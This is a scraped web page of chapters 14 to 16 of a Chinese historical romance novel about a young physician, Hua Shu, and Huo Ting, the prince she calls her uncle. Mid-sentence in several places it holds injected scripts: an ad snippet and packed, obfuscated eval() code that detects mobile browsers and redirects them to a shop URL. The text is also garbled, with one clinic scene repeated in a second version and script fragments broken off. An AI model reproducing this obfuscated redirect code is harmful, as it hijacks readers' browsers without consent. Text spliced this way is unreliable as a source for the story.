“我们是最初跟着老大的那批人,那会老大还不是将军,也不是王爷。后来叫习惯了,就没改。” “最初……你们就是那十二位罗汉将军?” 想想也是,霍霆那会性命攸关,守在他身旁的,自然是心腹中的心腹。 但华姝很快就后悔了,这不是变相承认她在山上承认见过他们十二人嘛。她慌忙转身,假装去帮他拿药包,想将人快些请离。 身后,突然传来一声怦然的跪地声:“属下萧成,见过夫人。” 萧成见药房无外人,略作犹豫,还是忍不住为自家老大解释两句: “老大当初没让您下山,是想着要对您负责。他这些年在外面领兵打仗,身边从没有过任何女人,您是头一个。” “见您实在想走,也悄悄派人跟着呢,就想瞅瞅是哪家姑娘,好去提亲。后来那人回来禀告后,老大将自己关在房里整整一天一夜,不吃不喝,还不准我们再提……” “萧将军,快些请起。”华姝受不得他这一跪,“您真的认错人了,我只是四叔的侄女。” 说完,就将药包胡乱塞进他怀里,匆匆躲离药房。 身后,萧成却是嘟囔一句:“可你们不是没有血缘嘛。” 华姝听得心底发寒,回到隔间后,半晌没缓过神来。 原来他留她在山上,是为来日提亲。 原来早在他回霍家前,已然知晓她身份。那他特意穿她做的黑靴回府,所为何意? 萧成认为没血亲的叔侄可以通婚,那位也是这般想吗? 华姝柳眉几乎拧成疙瘩,应当不能吧,否则他为何将自己关在房中一日一夜。 所以,他是因此没有按时吃药而余毒未清。 回春堂各处依旧忙得热火朝天,药草香,伴着间断的问诊声,以及药童装草药的叮当碰撞声,此起彼伏。 原本一派祥和的画面,华姝作为大夫看到后最为舒适,但这会只觉得繁乱不堪。 她得尽快筹集银钱,尽早与那人解释清楚,刻不容缓。 * 临近傍晚,来看诊的士兵们渐渐少了 霍千羽有些腹饥,带着丫鬟跑到对面的酥礼记,去买惦记好久的脆皮烧饼。 胖老板也捶着后背,去药房轻点存留的药材。 华姝瞅准机会,跟着走进药房,“陈老板,我下午抓药时,发现没有血竭这类活血化瘀的药材。但士兵们常年跌打损伤,应该挺需要吧。” “我发现了,您心思真是细腻。” 胖胖的陈老板朝她竖起大拇指,但转而无奈道:“按理说,血竭这类药物该多备。奈何药价昂贵,上头批剥下来的银两又实在有限,只能抓大放小。 不止活血化瘀的,那治疗痢疾的槟榔、治疗头风的金石斛,也都买不起。” 华姝微笑摆摆手,“您谬赞了。” 大伯父手上可支配银钱不多,她一早就知晓,是而特意关注回春堂的药材存余情况。 长辈们给的首饰,她跟祖母商量过后,已交由大伯父支配,各类珍稀药材则留了下来。 “我家中倒有一些药材,有我自己种 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 植的,还有长辈们为将士们准备的,过两日我就分批拿过来。” “那感情好,真是解决了我的燃眉之急啊!”陈老板大喜,“不愧是镇南王府,对将士们的重视真真是费心了。” “应该的。” 帮了胖老板的忙后,华姝适时提出:“我也有些小忙,想烦请您给费心帮忙打听打听。” “何事?您请说。”陈老板爽快应道。 “就是……”华姝悄悄看眼门外,确定霍千羽还没回来,继续道:“就是您是否知晓,城里哪家医馆招收临时坐诊的大夫?” “最好是专攻疑难杂症的。” 这样收取的诊金更多,偿还霍霆的债务就能更快。 “您这是要亲自为将士们筹钱?”胖老板会错意。 “是我祖母生辰快到了,想给她老人家准备一份惊喜贺礼,还望您帮我暂时保密。若是有余留的话,亦可帮衬将士们一二。”华姝神色如常地笑道。 胖老板见这位姑娘温温柔柔的,且孝心一片,不疑有他,“自然没问题。” “您且等小的琢磨琢磨。”他捋着自己的八字小胡须,思忖片刻后,“若说疑难杂症来钱快的,还真有一份。不过那病人出身……微末些,就怕您瞧不惯。” 华姝本以为要等几日才能有消息,这会不由欢喜,“您且说说看。在咱们大夫眼中,病患不分三六九等。” “姑娘大气。” 于是陈老板简述起病人情况,小声道:“是位女病患,原是翠香楼的花魁,现下乃武威侯府世子爷所豢养的外室。 结果赎身出来没多久,就检查出患有花柳病,遭世子爷厌弃了。她就一心想赶紧把病治好,银钱多少不重要。” 华姝听完,不禁唏嘘。 女子微卑微弱,以色侍人,果然不是长久之计。 就如她和霍霆,且不说叔侄与否,单说两人的身份差距,也不适合再有过深的交集。 “同为女子,我还是想力所能及帮帮她。”华姝略作思忖,作下决定:“还望陈老板私下帮我传个话。” “好说,好说。” * 在这之后,霍千羽就帮华姝带着热乎乎的新出炉烧饼回来了,两人稍作饱腹,又与胖老板等人一同为剩余的士兵们诊完脉,就坐车回到霍家。 晚膳,华姝留在了白鹭院。 大夫人忙让丫鬟伺候着梳洗,关切道:“坐诊一整日,都累坏了吧?” “我不累,主要是姝儿。” 霍千羽骄傲地介绍着白日的事,“您是没瞧见,姝儿仅凭三言两语,就让他们的态度瞬间大逆转……” “什么就瞬间大逆转了?” 恰是这时,大老爷霍雲的笑声出现在门口。 三人转头看去,就见霍玄正推着霍霆的轮椅,先行走进来。霍雲紧随其后。 他怎么也来了? 华姝随着众人起身,忙欠身见礼,下意识去看了眼霍霆。 恰好轮椅经过她身边时,霍霆也往这边瞧来,两人目光在半空中有一瞬交汇。 华姝眨了眨眼,低下头去。 娟秀的小脸不似早上那般明媚精神,掩饰不住地疲态。就连如此与他近距离对视,也没脸红心跳,没心思想旁的事了。 霍霆瞧得出,她是真累得不轻。 有些话语已到他嘴边,又因诸多缘由,消失在屡屡白色的檀木香雾中。 霍霆自然被请到圆桌的主位处,他坐定后,其余人跟着坐下。 饭桌上,大夫人和络地介绍起刚刚的话题。 霍千羽兴致冲冲地从旁补充:“您是没瞧见,那士兵脖颈的刀疤啊,有这么老长。” 她越说越起劲,后来更是动手比划起来,“我生平头一次见,吓坏了。那人竟还故意跟姝儿故意搭话,说瞧见过她,姝儿更是吓得不轻。” “哎哟,那这的确骇人。” 大夫人不免紧张,慈爱地摸摸华姝的头,“要不明日就别去了吧?” 华姝借着给大伙倒茶,早已将头埋低,不敢去看霍霆的反应。 她没料到霍千羽会忽然提起这茬,还是当着霍霆的面。这般一描述,他自然知晓是山上那位。那后面两人的对话,岂不是早晚会传到他耳中? 14. 第 14 章 母女俩对话刚说完,大老爷霍雲忙不迭给大夫人使眼色,霍霆的眉骨上也有道疤。 大夫人及时反应过来,亦是在饭桌下悄打了下。霍千羽后知后觉,赶紧尴尬住嘴。 饭桌上,气氛一时有些微妙。 这时,半晌未言的华姝,勉强挤出一抹浅笑:“后来想想,那伤疤是为保护我们所致,也就不怕了。” 一来,大伯母和千羽表姐本就是番好意。 二来,明日若是不去,她就没办法私下坐诊、尽快筹集银钱了。 “姝儿说得对,那不止是伤疤,更是将士们的功勋。”大夫人忙附和道,然后仍是不免紧张地瞧向主位。 主位上,霍霆坐定后就在静静品茶,神情一如既往的平淡,旁人鲜少能搅动他的情绪波澜。 唯有华姝说到那句“不怕”时,掀起眼皮看她一眼。 姑娘将头埋得低低的,说这句话时,神情叫人看的不真切,心情也叫人看得不真切。 霍霆没再对此过多追究,而是转头看向霍玄,“殿试一事,准备得如何?” 霍玄原本正忧虑华姝被搭话的事,表妹温柔秀丽,又颇有才情和医术,很容易招了男子的眼。 若是被小人趁机蛊惑算计了去,又或被某位将领先看中来提亲,可就不妙了。 他考虑着,这几日要不要多派些人手护送,亦或他亲自接送。 听到四叔的问话,霍玄匆忙回神,恭敬道:“正想借这机会,请四叔提点一二。” 于是饭桌上的话题,顺势转向科考之事。 华姝和霍千羽母女,都各自松了口气。 “上次提及的水文相关策论,你准备好几篇,每篇的侧重点都作何?”霍霆问向霍玄。 华姝默默听着,与早间问她时,相似也不同。 同样是一上来就主导了整场对话的走向。但也不知是否老夫人在场的缘故,早间语气和软许多。这会男人气场强盛,语气不怒自威。 平时在饭桌上咋咋呼呼的霍千羽,这会乖得像只猫,用汤匙舀肉丸都不敢出大声。 “朝廷治水,除了自然气候外,主要涉及人力财力物力。故而,侄儿侧重从这四方面作答。”霍玄一一作答,然后谦恭地请教道:“四叔,您觉得这般可稳妥?” 霍霆面色微沉,看起来并不满意,“怎得未将你父亲所遇情境,考虑其中?” “澜舟所言极是。” 霍雲在旁听了,佩服地点点头,看向自家儿子,“你考虑的这些,旁的考生应是也会想到,就看大家谁更技高一筹。 但万一假以时日,真将原本应由工部负责的差事,交给兵部或吏部来做。那对于不熟悉这差事的官员,如何快速上手就很重要了。尤其修筑堤坝,那就是和老天爷和阎王爷抢人呐。” “你亦可将受众官员加以推广,覆盖所有初次接受水文差事的官员。”霍霆言一语中的。 霍玄眼前一亮,恍然大悟:“多谢四叔提点,侄儿受教了。” “四叔不愧是十五岁就考中进士,见解果然独到又深入。”霍千羽见状,赶紧趁机拍马屁,以变相对先前的口误告罪。 霍霆自然不会回应这种吹嘘。 大夫人给她和华姝各夹了块咕咾肉,顺势帮忙找台阶下,“快安生吃饭吧,早点回屋歇着,明日还得早起。” 霍千羽嘻嘻笑,“娘真好。” “多谢大伯母。”华姝轻声道谢,然后也伸手给大夫人夹了块蜜汁酱鸭。 因着那猜离她稍远些,手臂伸长后,浅绿色衣袖后退开几寸,露出一截空荡荡的纤细皓腕。 “哎,姝儿你那玉手镯呢?”霍千羽眼尖地发现了端倪,“我记得你早上出门戴着的。” 华姝忙心虚地用衣袖盖住,“许是白日太忙,落下回春堂的隔间了,我明日去找找。” “哦,明日你提醒我,我帮你找。”霍千羽信以为真。 “……好。” 华姝悄看霍霆一眼,见他有条不紊地夹起块红烧鱼肉,细嚼慢咽着,神色如常。 她才继续低头吃饭,想来那位萧将军并未与他禀告此事。 * 吃过晚膳后,趁着霍霆还在与霍雲父子谈话,华姝先行与大夫人母女道别。 月桂居和清枫斋就在对面,若是一起走,那就得走一路。 她这会累得大脑疲倦,实在没精力再应对他。 然而事与愿违,华姝前脚才从白鹭院走来,后脚就听到一阵轮椅木轮碾压碎石子的声响。 她不得不停下脚,等他缓缓靠近,然后欠身行礼,“王爷。” “无需多礼。” 霍霆摆手示意她起身,“换作是我,这会亦不想说话,且就这么往前走吧。” 随后他看了眼身后,原本推轮椅的长缨,意会地退后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13805889|145815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几步。 华姝见状,误以为他要让她来推。抿了抿唇,正要过去时,霍霆先行摇动轮椅的木轮,自行往前。 她讶然一瞬,被迫调动的沉重头颅,缓缓放松下来,双肩也随之舒缓下落,然后默默跟了上去。 今晚弯月如钩,静静挂在树梢枝头,繁星点点,在苍穹上异议闪络。 两人身披皎洁月光,压着石子路,一路走到月桂居门口。从始至终,都安静无言。 与华姝预想中的,还要轻松。 原来和他同路而归,也没有那么不能接受。 两人相继停下,华姝转头看向霍霆,“王爷若无其他吩咐,我就先进去了。” 霍霆凝着她,轻叹一声:“早间我与你祖母叮嘱的话,你是一句都没放在心里。” “嗯?”华姝目露迷茫。 “你祖母讲,凡事量力而为,结果呢?这才第一日,后面几日你又当如何?”不似对待霍玄的威严,他这会语气清淡而和缓:“傻姑娘,不可竭泽而渔。” 华姝水眸里的迷茫,被怔愣取代,转而化为慌乱。 她目光躲闪开,羞赧地点点头。 其实祖母也这么喊过她,不过是长辈对晚辈的一些怜爱。 可当这位特别的长辈喊她时,就听着怪怪的。 霍霆将她娇羞的反应看在眼里,微扯唇角。 随后缓缓伸出手,在她的惊愕注视中,隔着衣袖,握住那纤细而空荡荡的皓腕。 待收回手时,一只熟悉的玉镯,已挂回原处,“收好它,别再弄丢了。” 华姝垂落手臂,左手指尖摩挲着右腕上的玉镯,上面还带着男人的体温,“萧将军找过您了。” 她轻轻地陈述事实,除此之外也不知该辩解些什么。 太乖了。 乖得一度让人不好再责备。 霍霆瞧着她,稀罕地轻笑一声,让自己话语听起来不会显得“特别凶”。 “早间不是才说过,你是我镇南王府的人,萧成怎敢收你的物件?” 其实,萧成的原话可比这直白多了。 “那华小姐可是老大的女人,嫂夫人的贴身首饰,属下不敢要啊。” 面对千军万马不带犯怵的八尺汉子,对着这小小玉手镯,当时满脸为难。 小心翼翼找块干整帕子包着,拿给霍霆时,再三保证,“老大,我可没拿手碰过啊!” 15. 第 15 章 月朗星稀,晚风吹拂,月桂居飘散出来淡淡的桂花香,徐徐剥乱着华姝的心弦。 一如霍霆的弦外之音。 他早间的原话是:“你们是镇南王府的人,是我霍霆的人。” 此刻又言:“你是我镇南王府的人,萧成怎敢收你的物件?” 两度叫她听得扑朔迷离,下意识结合起来,拼拼凑凑,岂非就是—— 你是我霍霆的人。 华姝心弦一紧,被自己的想法吓得不清,羞怯地看向对面,看向她的“四叔”,羽睫频频眨动。 霍霆一派坦然看着她,一向肃然刚毅的面庞上,罕见流淌着温和浅笑,在如玉月光映照下熠熠生辉,像极了一位寻常慈爱的长辈。 华姝到了嘴边的质问,又偃旗息鼓回去。 应是她想多了吧? 可为何萧将军不敢收她的物件?而非不愿。 她一介小小孤女,借谁的势,能让萧成一位当朝正三品将军用“不敢”二字,甚至行跪拜礼,喊一句“嫂夫人”。 萧成白日的种种行径,不受控地浮现华姝眼前,蓦地红了耳根。 本以为王爷不追究,后续事宜处理起来会简单许多,殊不知如今压下葫芦又起了瓢,越来越说不清了。 “有话但说无妨,自家人不必拘礼。” 夜间视线偏暗,霍霆没瞧清华姝的耳边红晕,但瞧得出她的欲言又止,与紧张。 他微勾唇角,“即便如你儿时那般,我也不会责罚。” 儿、儿时…… 怎么又转到这茬了? 华姝瞬间宛如从蒸笼里拿出来的红虾,浑身冒着热气。 这回不仅羞,还窘。 “没、没什么要说的。”赧颜的姑娘埋低头,瓮声瓮气地请示:“王爷,我能先回房了吗?” 霍霆看在眼里,无言轻叹,他似乎弄巧成拙踩中了猫尾巴,“回吧,早些休息。” 华姝如蒙大赦,转眼间落荒而逃。 回到月桂居后,由白术伺候着梳洗完,躺在浸满安神香气的轻纱软枕上,依旧心事重重。 不能再拖了,这几日得设法攒够银钱。 实在不行,就同千羽表姐借些,也得早点了清与那人的恩怨。 华姝抱着鹅绒黄锦缎的薄被,反复辗转多时,才堪堪入眠。 没料到,日有所思夜有所梦。 梦境里,华姝再度回到月桂居的门口,愕然看着霍霆为她戴回玉镯。 他却在收回手刹那,顺势扣住皓腕,轻巧地就将她带回炙热的怀中,就像两人那日在木屋里的坐姿。 烫得她心跳砰砰发乱,手指不敢乱碰,偏又得借力撑在他坚硬胸膛上,挣扎着想钻出他怀抱。 反被男人扣得更紧,粗重滚烫的呼吸,流连在她彼时发烫的耳根处,暗哑威胁:“再乱动,可就真不放你走了。” 华姝吓得不敢再动,只小声乞求:“此处是王府,还请王爷放手。” 男人贴面轻笑:“你也知道是在我府上?” “早间才交代过,你是我的人,转头就将贴身物件送与外男。”他惩罚似的咬住她圆润耳垂,“姝儿,你总要考虑考虑我的感受。” 说罢,男人齿间恶狠狠地磨着,扣紧腰肢的粗粝大掌,揉捏力道也故意加重。 华姝招架不住,呼吸随之娇喘得厉害,也挣扎地厉害,“可是,您是我的四叔啊——” “哗啦!” 华姝猛地从拔步香床上坐起,轻纱床幔上的玉珠串应声掉落。玲珑的娇躯仍止不住颤栗。 分不清是怕得,还是被撩拨得余韵犹存。 她玉手捂紧发烫的脸颊,轻轻拍打,懊恼如何会做了一场春梦,梦里男人还是她的四叔。 分明人家当时举止有度、端方持重,怎么自己反倒浮想联翩了呢? 寂静清雅的闺房内,月光潺潺似有噪响,是夜少女再难安眠。 * 对面的清枫斋,亦是彻夜灯火通明。 霍霆坐在书案后,以手撑头,阖眼假寐,却没有要安寝的意思。 “王爷,不若您先去休息。待萧将军回来后,属下再去向您通禀。”长缨提议道。 霍霆从浅眠的梦境里回神,旖旎相拥的画面,被书房的清冷陈设所取代,“萧成去多久了?” 今日萧成送来玉镯后,霍霆另外交代他一份差事。收集兵部尚书中饱私囊的证据,届时这笔赃款充公,正好用于将士们的安置费。 “快三个时辰。”长缨皱眉,“这兵部尚书府邸的戒备,竟如此森严,连萧将军的功夫都无法轻松来回。” 长缨请示:“王爷,可需另派人手前往协助?” “不必。” 长缨话音刚落,萧成身着一袭黑色夜行衣,从漆黑夜色里,闪身跃入庭院。 萧成将手中的账簿,递到书案上,抱拳行礼:“老大,我幸不辱使命。” 霍霆摆手令他起身,没急于翻看账本,先着眼萧成胸口的灰色脚印,“看来此行颇为棘手,可有损伤?” “确实有些麻烦,不过也另有收获。” 萧成随意拍了拍胸口的灰尘,目光炯然,“我与那兵部尚书交手时,发现这司空震的武功身法极为熟悉,倒像是……” 他意味深长看着霍霆,“倒像是当年,我们赴约华不为华太医时,中途杀出的那黑衣人。” “几成把握?” 霍霆瞬时神色肃然,周身气压随之一沉。 “我特意与之多过招了几回合,可有八成把握。”萧成语气笃定。 闻言,霍霆靠回太师椅背,许久未再出声,萧成和长缨亦不敢打搅。 书房内,气压一沉再沉。 当年,霍霆收到华家兄长,也就是华姝父亲的求助密信,急忙带着人手前去赴约。 然而没见到华不为本人,倒是中途杀出一伙黑衣人,出手狠辣,势要将他们赶尽杀绝。 兄弟十三人伤亡惨重,折返燕京城时沿路都有埋伏,只能一路南下。 逃亡路上,很快获悉华家突发大火,全族意外身亡的消息。 华府乃百年杏林世家,根系繁茂,怎可能全族俱陨? 这显然是一场蓄意谋杀! 可霍霆那会没有证据,更回不了京城,亦唯恐牵连霍家人,这些年只能隐姓埋名,直到手握重兵而返。 “果然呐,咱们一回燕京,有些人的狐狸尾巴就藏不住了。” 书案瑞兽香炉的袅袅白烟后,霍霆一双凤眼,深邃如渊。 “原来如此!” 萧成恍然大悟,“我先前还纳闷呢,那兵部尚书好端端地为何要截杀咱们回京,原来里头还牵扯着当年的事!” 长缨气得咬牙切齿:“这个老狗,他先前不过是兵部小吏,这些年能爬得这么快,看来与当年的事脱不了干系!” 萧成更是气得不轻,“老大,你发句话,兄弟们立刻将这老狗暗中捉拿回来,严刑拷问。” “司空震能升迁如此之快,背后主谋的权势必然错综复杂,不可打草惊蛇。” 霍霆抬手示意他稍安勿躁,随后翻开书案上的账本。 此乃司空震的私账,详细记载着他这些假借兵部名义买战马,再私人倒卖给外邦的马贩子,牟利敛财的账目。 霍霆略略浏览几页后,交代长缨,“将消息透露给那都察院的沈之鹊,做得自然些。” 长缨:“王爷英明。” 都察院的言官们,向来都喜好捕风捉影,空口白牙就敢弹劾百官。 而沈之鹊,二夫人表妹沈青禾的父亲,多年不得晋升,急需一份能平步青云的政绩,自然会无利不起早。 长缨领命而去,消失在茫茫夜色中。 “以安置将士们一事做幌子,既能将司空震拉下马,还能迷惑当年那些幕后主使,可谓一箭双雕!”萧成忍不住翘起大拇指,“老大高明!” 霍霆轻扣着书案,思量道:“沈之鹊恐会有被灭口的嫌疑,你找几个眼生之人,暗中跟着。” 萧成点点头。遇到那帮穷凶极恶之徒,沈之鹊这政绩保不准是有命挣,没命享受。 “还有,”霍霆手指微顿,“回春堂那边,你亲自去盯着。” “……嫂子那啊?” 萧成转而挠头,“老大,你何不亲自去瞧瞧?夫妻两人每日双双把家还,多好!” 书案上的账本,如风般“啪”得砸到萧成头上,“哪那么多废话?” “是是是,我这就去,保证嫂子每日都平安回来与你相聚。” 萧成嘿嘿一笑,将账本平整放回去,然后麻溜闪人。 书房里重新归于沉寂,唯有更漏“嘀嗒”作响。 想起那道对他避之不及的清瘦倩影,霍霆唇瓣抿成一条线,轻叹了声。 回府后,霍霆曾从霍老夫人那探听过,当年华府出事前,恰逢华姝来霍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈老板简述起病人情况:“她原是翠香楼花魁,赎身没多久,就诊出患有花柳病。她现在一心想赶紧把病治好,银钱多少不重要。” 华姝微有唏嘘。女子微卑微弱,以色侍人,果然非长久之计。 就如她和霍霆,且不论叔侄关系,单说两人身份差距,也不适合再有过深交集。 “同为女子,我想力所能及帮帮她。”华姝略作思忖,作下决定:“还望陈老板私下帮我传话。” * 接下来几日,傍晚时分,华姝遂以跟胖老板学医为由,让霍千羽先行回府,她则从回春堂的后门悄悄往来于那花魁家中。 花魁的花柳病病入膏肓,的确难医。 但这花魁也的确出手阔绰,在华姝表示有五成把握治愈后,就径直付了五百两订金,相对于那血燕的一半卖价。 华姝深知这是救命钱,愈发谨慎行医下药。 有时真会在回春堂与胖老板讨论药方,也一日比一日贪晚。 等到第四日,她走出回春堂前门时,天已黑头,华灯初上。 而挂着“霍”红字木牌的马车,正静悄悄停靠在门前。在萧萧无人的长街上,尤其醒目。 华姝眼前闪过一道威严魁梧身形,不自觉眼皮突突直跳。 这时,马车车帘被挑开,一温润如玉的少年郎,闻声走下马车,和煦笑道:“表妹,我顺路接你回府。” 来人,是霍玄。 华姝微有讶异,但更多是松了口气,“有劳表兄。” 天色不早了,华姝没再寒暄什么,遂由半夏扶着坐上马车,一行人渐行渐远。 巷尾,萧成远远探出头来,急得抓耳挠腮。 他蹲守这几日,眼瞅着有将士们,陆续送来各种糕饼吃食,美其名曰是答谢华姝带来的药材。 但具体因为啥,男人之间谁也甭蒙谁,装啥大尾巴狼啊。 这嫂夫人也太惹人稀罕了。 没招来杀手,倒是招来一众桃花! “不行,你赶忙去给老大通风报信。” 萧成指使一个手下,速速往镇南王方向而去,自己则是有多远躲多远。 这嫂夫人的护花使者,他可不敢当。尤其很可能还是,叔侄相争…… 16. 第 16 章 马车悠悠荡荡行驶于寂静的长街,零星亮灯的几家铺子也陆续关门。 马车内,华姝与霍玄对面而坐,中间隔着张红木小几,上面除了两摞书本,还有包糕点。 霍玄将油纸包推到华姝面前,“新出炉的酥皮烧饼,还是热的。表妹坐诊一整日,这会想必身疲腹饥,可以先垫垫。” “多谢表兄。” 华姝忙碌一下午,的确没顾得上裹腹。只是霍玄的关照,在他私下言明心意后,已让她不便坦然接受。 “我在回春堂刚用过茶点,千羽表姐素来喜爱这酥皮烧饼,不若留与她吧。”她浅笑婉拒。 岂知这时,闻到喷香的烧饼,肚子抗议地“咕噜”两声。 为了一口吃的,出卖起“自己”来,可谓毫不留情面。 …… 静谧马车内,气氛一度滑稽又尴尬。 “其、其实是我挑嘴,让表兄见笑了。” 有人变得无颜以对,不好意思地转头看向车窗外,蚊声解释道。 从霍玄的角度,尚能看见她泛红的半张侧颜,卷翘的眼睫眨动得厉害,似带勾的猫爪灵活撩拨人心。 在摇曳烛光的映照下,给原本乖巧娴静的少女,平添一丝狡黠的灵动。 这才是她该有的样子。 在华家未遭难前,记忆里,华姝比霍千羽还要顽皮。她俩凑在一处逗闹,没少让他吃闷亏。 只是后来寄人篱下,她小小年纪懂得察言观色,当初的小霸王日渐变成一只缩头小王八,让人怜惜,偏又撬不开她那层保护壳。 如此经年,他想守护伊人的心思,也愈发浓烈。 霍玄痴痴望着心爱的姑娘,顾着礼仪分寸,终是强行挪开目光。 “烧饼是有些油腻,母亲备的晚膳较为清淡,应会合表妹的胃口。”他看破不说破,转头交代赶车的小厮,“车速再加快点。” “好嘞!” 马儿脖子上的铜铃,随即“叮当”作响更快。 华姝听在耳中,心绪越发繁乱。 先前霍玄和大夫人相继提及议亲,此事小有误会。后因霍霆回府,华姝一时无暇顾及。 但正因着山匪与四叔的身份巨变,她更要尽早说清。 本以为今日是个机会,可面对霍玄的赤诚相待,再瞧瞧那两摞厚重的书本,华姝不免犹豫,唯恐影响到他殿试发挥。 罢了,还是再找机会同大伯母解释吧…… “若因我先前失言,惹恼表妹,霍玄在此向你道歉。” 心仪之人在身边,没人能管得住自己的眼。自打华姝上车,她每个细微反应,都在霍玄眼中放大数倍。 他索性先一步挑明,又似抛砖引玉,以方便女儿家开口倾诉。 华姝感激他大方坦荡,委婉表示:“表兄对我信任亲厚,姝儿感念至极。不过殿试在即,表兄没必要为旁的事分心,不值当的。” 霍玄已有预料,却不免苦苦一笑:“若真论科举分心,倒也无甚妨碍。” “若说不值当,实属假话。”他深深凝着她,星眸闪烁细碎光亮,“科举能重来,表妹的安危才是重中之重。” 这话,听得华姝心头暖暖的,有点不忍堙灭他眼中的光,“是我给表兄裹乱了,日后姝儿定会早些回府,不再贪晚。” 可她与霍霆的羞耻纠葛已不可逆,再不该染指这般干净的白衣少年,更不好令他徒添误会。 华姝咬了咬唇,终是开口:“表兄,近日恰逢多事之秋,我实在无心考虑终身大事。” 顾念他考试心态,她又补充道:“此番皆是对事不对人,还望表兄见谅。” 到底脸皮薄,与儿郎直白谈及情爱婚事,令她禁不住红了耳珠,娇艳模样越发诱人。 瞧得霍玄也耳郭泛红,心有悸动。 从前那个追着他扔泥巴的小泥猴,不知何时,已出落得楚楚动人,风情款款。 霍玄万般不舍这抹皎洁的月光,但更不舍她为难,默了默:“换作是我,亦需慢慢调整状态,此前是表兄莽撞了。” “表妹需要些时日舒缓,我亦需要时日备考。等殿试结束后,我们再视情况而议,可好?” 温润言语间,隐隐包裹着一丝小心翼翼:“不论结果如何,我绝不逼你。” 华姝不难看透此乃缓兵之计,不过确是个折中方案。 她想,若霍玄高中必有贵女争相结亲,或许他会遇到良配佳缘,继而淡忘这份心思。 思及他殿试在即,于是也退让半步:“好。” 见她松口,霍玄悄然握紧的手掌也缓缓松开,掌心已沁出一层薄汗。 之后,一路无言。 马车很快停在霍家角门,霍玄让华姝先行下车,自己则命小厮绕到正门,另行回府。 华姝与他道谢分别,趁四下无人,扶着半夏快步进门。 殊不知夜色漆黑,在那阴暗角落中,有道娇小的黑影一闪即离。 * 这会正是霍府用晚膳的时辰,庭院内几乎没人,偶有寒鸦从树梢飞过。 华姝准备先悄悄溜回月桂居,梳洗一番,假装早已回府,再前往白鹭院用膳。如此,也可拉开与霍玄回府的时辰。 不料,中途被丫鬟捉住:“表姑娘,老夫人叫您过去一道用晚膳。” 华姝暗道不妙,“好姐姐,祖母可还说旁的了?” 那丫鬟掩嘴笑:“老夫人关切表姑娘累坏身子,要罚您多吃两碗饭。还说,不吃完就不准您出门呢。” “应该的。”华姝抿唇讪笑了声,乖乖跟着丫鬟前往千竹堂。 主屋的中堂内,圆桌上已满饭菜,都是她爱吃的。只是某位老人家坐在软塌上,正兀自生闷气,需要人哄呢。 见没外人,华姝没依着规矩行礼,而是低眉垂眼走到跟前,轻摇着老夫人的衣袖,“祖母,姝儿知错了,日后再不敢贪晚了。” 娇滴滴拖着尾音,软糯糯地撒娇道。 老夫人继续佯怒板着脸,扭头不去瞧她,但也没拂开她的手。 华姝只得再接再厉:“祖母,咱先吃饭饭吧,好不好嘛……” “咳。” 身后的净室,忽然传来一道略显熟悉的清咳。 华姝顿时哑愣原地,转而双颊唰得一热。 他、他怎么也在呀? 刚刚她那番撒娇磨人之语,那没规没矩的私密做派,岂不是全暴露在他面前? 这么一想,华姝耳边越发热气腾腾,恨不得找个地缝钻进去。 见她苦皱小脸的可爱窘样,老夫人倒是先被逗乐:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972948|145815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行吧,人已到齐,先用膳。” 屋里的仆从们亦是乐不可支,碍于霍霆在场,不敢失礼。 桂嬷嬷憋笑上前搀扶老夫人,其他丫鬟则抿嘴偷笑着开始忙活起来。 唯有华姝认命地松开老夫人衣袖,慢吞吞转过身,规规矩矩盈盈行礼:“见过四叔。” 这回声音小小的,没了先前撒娇耍赖的肥胆儿。 活络气氛,稍有冷凝。 霍霆静静看着她,瞳孔微有放空,仿佛透过眼前姑娘,看向远方的另一人。 他不假辞色,偏偏华姝心领神会。 在山上,茅屋只有他们两人时,她也曾轻摇他衣袖,如此撒娇过。 初次他不自在得板脸瞪她,第二回就听得气定神闲,听她多说几句哄人的软语好话,才肯答应她的小请求。 关于他每次动情后,不能反复揉捏她敏感腰窝的小请求…… 羞人的暧昧回忆,不堪回首。 霎时间,华姝耳边的红晕一路蔓延到雪脖。 “我、我先去净手。”她掩饰性拢了拢鬓边碎发,慌不择路地要往净室里躲。 “这边。” 霍霆随之回神,淡声提醒。 华姝小脸烧得更红,被迫转回脚来,默默从他身边经过,然后头也不回逃进净室。净手时特意选用冷水,泼到脸颊一遍遍降温。 霍霆轻扯嘴角,命长缨推起轮椅,泰然坐到桌前。 饭桌上,丫鬟只为老夫人盛了粥,另外两只玉碗里都是精米饭。虽也蒸得软糯,但相对粗硬,尤其不利腹饥之人晚间消食。 霍霆轻掀眼皮,“都换成那甜粥。” 丫鬟忙恭敬应是。 用膳时,老夫人问及将士们的安置近况,“近日你大哥早出晚归,也没来得及问,那安置费可筹备齐全,是否需要家里再想想法子?” “儿子已有应对之策,母亲无需挂心。” 